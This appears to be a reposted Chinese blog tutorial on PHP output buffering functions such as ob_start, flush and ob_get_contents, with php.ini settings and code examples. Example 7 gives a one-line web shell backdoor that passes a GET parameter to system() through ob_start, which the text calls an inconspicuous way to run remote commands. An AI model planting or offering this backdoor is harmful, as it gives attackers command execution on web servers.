zoukankan      html  css  js  c++  java
  • PHP输出缓冲控制- Output Control 函数应用详解

      说到输出缓冲,首先要说的是一个叫做缓冲器(buffer)的东西。举个简单的例子说明他的作用:我们在编辑一篇文档时,在我们没有保存之前,系统 是不会向磁盘写入的,而是写到buffer中,当buffer写满或者执行了保存操作,才会将数据写入磁盘。对于PHP来说,每一次像 echo 这样的输出操作,同样是先写入到了 php buffer 里,在脚本执行完毕或者执行了强制输出缓存操作,数据才会在浏览器上显示。

      其实对于PHP程序员来说,基本上每个脚本都涉及到了输出缓冲,只是在大多数情况下,我们都不需要对输出缓冲进行更改。而今天就来用实例对PHP输出缓冲控制函数“Output Control”做一个详细的解析。

      下面这个例子简单介绍了输出缓冲在一般脚本中存在的方式:

      我们在执行如下脚本时:

    1 <?php
    2 /*例1*/
    3 echo 'oschina.net';
    4 echo '红薯';
    5 echo '虫虫';
    6 ?>

      脚本在执行完第一个 echo 时,并不会向浏览器输出相应内容,而是会输出到一个缓冲区,依次类推,当三个 echo 全部执行完毕(也就是脚本结束)时,才会将缓冲区内容全部输出到浏览器。当然这个缓冲区也有大小的限制,是根据 php.ini 中的output_buffering 选项来设置的,这点会在下面的文章中详细介绍。而本章所讲的输出缓冲控制,就是在脚本结束前,对缓冲区里的内容进行操作。

      这个例子可以更好的体现输出缓冲控制的应用:

      在执行如下代码时:

    <?php
    /*例2*/
    echo 'oschina.net';
    sleep(1);
    echo '红薯';
    sleep(1);
    echo '虫虫';
    ?>

      我们至少需要等待 2秒 才能看到输出结果,那我们能不能让其实时的显示呢?也就是在第一个 echo 执行完毕时就输出相应的内容呢,这时候就需要用输出缓冲控制函数来操作缓冲区了,实现代码如下:

    <?php
    /*例3*/
    echo str_pad('', 1024);//使缓冲区溢出
    ob_start();//打开缓冲区
    echo 'oschina.net';
    ob_flush();//送出当前缓冲内容,不会输出
    flush();//输出送出的缓冲内容
    sleep(1);
    echo '红薯';
    ob_flush();//送出当前缓冲内容,不会输出
    flush();//输出送出的缓冲内容
    sleep(1);
    echo '虫虫';
    ob_end_flush();//输出并关闭缓冲
    ?>

      简单点也可以这样实现:

    <?php
    /*例4*/
    echo str_pad('', 1024);//使缓冲区溢出
    echo 'oschina.net';
    flush();//输出送出的缓冲内容
    sleep(1);
    echo '红薯';
    flush();//输出送出的缓冲内容
    sleep(1);
    echo '虫虫';
    ?>

      至于相关函数的用法在下面都会有介绍,这里只是给大家展示一个输出缓冲控制函数的应用,当然了输出缓冲控制函数的作用绝不止这一种,那么下面我们就来看看输出缓冲控制函数都可以应用在哪些方面。

    作用

    1. 在PHP中,像header(), session_start(), setcookie() 等这样的发送头文件的函数前,不能有任何的输出,而利用输出缓冲控制函数可以在这些函数前进行输出而不报错。其实这么做没啥必要,非常少见的用法。
    2. 对输出的内容进行处理,例如生成静态缓存文件、进行gzip压缩输出,这算是较常用的功能了,后面会有详细介绍。
    3. 捕获一些不可获取的函数输出,例如phpinfo(), var_dump() 等等,这些函数都会将运算结果显示在浏览器中,而如果我们想对这些结果进行处理,则用输出缓冲控制函数是个不错的方法。说的通俗点,就是这类函数都不会有 返回值,而要获取这些函数的输出数据,就要用到输出缓冲控制函数。
    4. 最后一种应用就是 简介 中示例的方法,对一些数据进行实时的输出。

    php.ini 中的相关配置项

      再来看看在 php.ini 中和输出缓冲控制有关的选项,共三个,分别是:output_buffering  , output_handler  和 implicit_flush

    1. output_buffering   默认为 off , 当设置为 on 时,则在所有脚本自动打开输出缓冲区,拿 例3 来说,就是在每个脚本都自动执行了 ob_start() 这个函数,而不用再显示的调用该函数。其也可以设置为一个整型的数字,代表缓冲区可以存储的最大字节数,我们在 例1 的下面说明中提到过这个配置项。
    2. output_handler  默认为 null , 其值只能设置为一个内置的函数名,作用就是将脚本的所有输出,用所定义的函数进行处理。他的用法和 ob_start('function_name') 较类似,下面会介绍到。
    3. implicit_flush 默认为 off , 当设置为 on 时,PHP将在输出后,自动送出缓冲区内容。拿 例4 来说,就是在每段输出后,自动执行 flush() 。当然有效的输出不仅指像echo , print 这样的函数,也包括HTML段。

    Output Control 函数详解

      现在我们就用实例分析相关函数,相信在充分了解了以下内容后,就会对输出缓冲控制函数有了较清晰的掌握。

      1.  bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

      此函数在 例3 中已经使用过,大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回 调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

    <?php
    /*例5*/
    ob_start('handleString');
    echo '123456';
     
    function handleString($string){
      return md5($string);
    }
    ?>

      运行后的结果是:

    e10adc3949ba59abbe56e057f20f883e

      说明输出的内容被md5加密了,也就是说在缓冲区内容输出时,运行了我们定义的 handleString 函数。

      再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

    1 <?php
    2 /*例6*/
    3 ob_start('ob_gzhandler');
    4 echo str_repeat('oschina', 1024);
    5 ?>

      可以明显看到大小的差别,所以说利用 ob_start() 进行页面压缩输出,是非常实用的一个功能。

      而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。

      ob_start() 的用法就这么多,但有两点需要特别注意的地方:

    1. ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了。
      1. ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:
        1 <?php
        2 /*例7*/
        3 $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
        4 ?>

          如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

          2. string ob_get_contents ( void )

          此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

         1 <?php
         2 /*例8*/
         3 echo str_pad('', 1024);//使缓冲区溢出
         4 ob_start();//打开缓冲区
         5 phpinfo();
         6 $string = ob_get_contents();//获取缓冲区内容
         7 $re = fopen('./phpinfo.txt', 'wb');
         8 fwrite($re, $string);//将内容写入文件
         9 fclose($re);
        10 ob_end_clean();//清空并关闭缓冲区
        11 ?>
  • 相关阅读:
    request和request.form和request.querystring的区别
    PL/SQL Developer连接64位Oracle
    C# Winform控件对透明图片重叠时导致图片不透明的解决方法
    C++11多线程编程-两个进程轮流打印1~100
    使用 C++11 并发编程入门
    STL vector动态扩容
    GDB入门教程
    统计整数中1的个数
    gulp的使用
    nvm安装教程
  • 原文地址:https://www.cnblogs.com/lpfuture/p/3797055.html
Copyright © 2011-2022 走看看